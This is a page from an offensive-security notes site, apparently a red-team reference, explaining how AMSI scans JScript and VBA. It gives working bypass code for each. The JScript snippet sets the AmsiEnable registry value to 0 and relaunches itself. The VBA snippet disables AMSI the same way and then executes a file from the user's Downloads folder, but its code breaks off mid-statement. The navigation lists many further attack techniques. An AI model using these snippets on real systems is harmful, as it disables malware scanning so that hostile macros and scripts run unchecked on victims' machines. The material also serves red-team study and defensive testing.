RFC - Offensive Security Notes
  • Active Directory
    • Enumeration
      • Active Directory Module
        • Enumerating the Domain
        • Enumerating ACLs
      • PowerView 3.0
      • Verify connectivity to domain controller
      • WMI domain enumeration through root\directory\ldap
      • PAM Trust
      • DNS discovery
        • Get-DnsServerZone
    • Privilege Escalation
      • Kerberos Delegation
        • Unconstrained delegation
        • Constrained delegation
        • Resource-based Constrained Delegation
      • Escalating from child to parent domain
      • Abusing inter-forest trust
      • WSUS server abuse
      • ACL Enumeration with PowerView 2.0
    • Persistence
      • Kerberos attacks
        • Golden ticket
        • Silver ticket
      • DSRM (Directory Services Restore Mode)
  • Initial Access
    • VBA Macros
      • Mark-of-the-Web
  • Discovery
    • Juicy files
      • PowerShell history
    • Network Enumeration
      • Network discovery scans
        • Ping scan
      • Nmap
      • Perimeter firewall scanning for open outbound ports
  • Execution
    • WMI
      • Remote code execution using WMI
    • PowerShell
      • C# assembly in PowerShell
        • List load assembly
        • Add-Type
        • UnsafeNativeMethods
        • DelegateType Reflection
        • Reflective Load
    • C# .Net Assembly
      • Process injection
        • Debugging
        • Using VirtualAllocEx and WriteProcessMemory
        • Using NTAPI Undocumented Functions
    • ReverseShells
      • Linux
        • Stabilizing zsh shell
    • Metasploit
      • HTTPs Meterpreter
  • Exploitation
    • Win32 APIs
      • OpenProcess
      • VirtualAllocEx
      • WriteProcessMemory
      • CreateRemoteThread
  • Credential Access
    • Microsoft Windows
      • Windows credential audit and logon types
      • Local credentials (SAM and LSA)
      • Lsass from forensics dump
      • Access Tokens
        • SeImpersonatePrivilege
      • ntds.dit
        • Dumping the contents of ntds.dit files using PowerShell
      • Mimikatz
      • LAPS
  • Lateral Movement
    • Windows Lateral Movement
      • Remote Desktop Protocol (RDP)
      • PowerShell Remoting (PS Remote)
        • Kerberos double hoping
      • Windows Task Scheduler
    • Linux Lateral Movement
  • Persistence
  • Defence Evasion
    • Antimalware Scan Interface (AMSI)
      • Debugging AMSI with Frida
      • PowerShell Bypasses
      • JS/VBA Bypasses
    • PowerShell
      • PowerShell version 2
      • Constrained Language Mode
      • Just Enough Administration (JEA)
      • ScriptBlockLogging
    • Microsoft Defender
    • Anti-virus evasion
      • Evasion and bypassing detection within C#
        • Encryptors
          • Aes encryptor
        • Sandbox evasion
          • Time accelerated checks
    • AppLocker
      • InstallUtil
      • MsBuild
  • Network Pivoting
    • Proxies and port fowarding
      • SSH
      • Metasploit
      • Socat
      • SSH Shuttle
      • Windows netsh command
    • Network discovery and scanning
  • Exfiltration
    • Windows
      • Copy files over SMB
  • Services
    • MS SQL Server
      • Enumeration
      • UNC Path Injection
      • Privilege Escalation
      • Linked Servers
      • SQL Injection
  • Misc
    • CrackMapExec
    • Cheat sheets
  • Cloud
    • Azure
      • Authentication
      • Enumeration
        • AzureHound
        • Az.Powershell
        • Microsoft Graph PowerShell
      • Initial Access
        • Device Code Phishing
        • Family-Of-Client-Ids - FOCI
        • JWT Assertion
Powered by GitBook
On this page
  • Overview
  • JScript bypasses
  • VBA bypasses
  1. Defence Evasion
  2. Antimalware Scan Interface (AMSI)

JS/VBA Bypasses

Overview

AMSI has integration with both JavaScript and VBA (Visual Basic for Applications). This means that when scripts written in these languages are executed, AMSI can scan the content of the scripts to determine if they are malicious.

For example, when a VBA macro is executed within Microsoft Office, AMSI can log the macro’s behavior, trigger a scan on suspicious behavior, and stop a malicious macro upon detection.

Similarly, when JavaScript code is executed by a Windows component that integrates with AMSI (such as Windows Script Host), AMSI can scan the content of the script to determine if it is malicious.

JScript bypasses

var WsShell = new ActiveXObject("WScript.Shell");
var Key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";

try {
    var Reg = WsShell.RegRead(Key);
    if (Reg != 0) {
        WsShell.RegWrite(Key, "0", "REG_DWORD");
        WsShell.Run("csript.exe -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58} " + WScript.ScriptFullName, 0, 1);
        WScript.Sleep(5000);
        WsShell.RegWrite(Key, "1", "REG_DWORD");
    }
} catch (e) {
    WScript.Quit(1);
}

VBA bypasses

regpath = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable"
u = CreateObject("WScript.Network").UserName
e = 0
Set oWSS = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")

On Error Resume Next
r = oWSS.RegRead(regpath)

If Err.Number <> 0 Then
    oWSS.RegWrite regpath, "0", "REG_DWORD"
    j = "c:\\users\\"+u+"\\downloads\\%s"
    Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
    obj.Document.Application.ShellExecute j,Null,"C:\\Windows\\System32",Null,0
    e = 1
    Err.Clear
End If
If Not e Then
e=1
PreviousPowerShell BypassesNextPowerShell

Last updated 2 years ago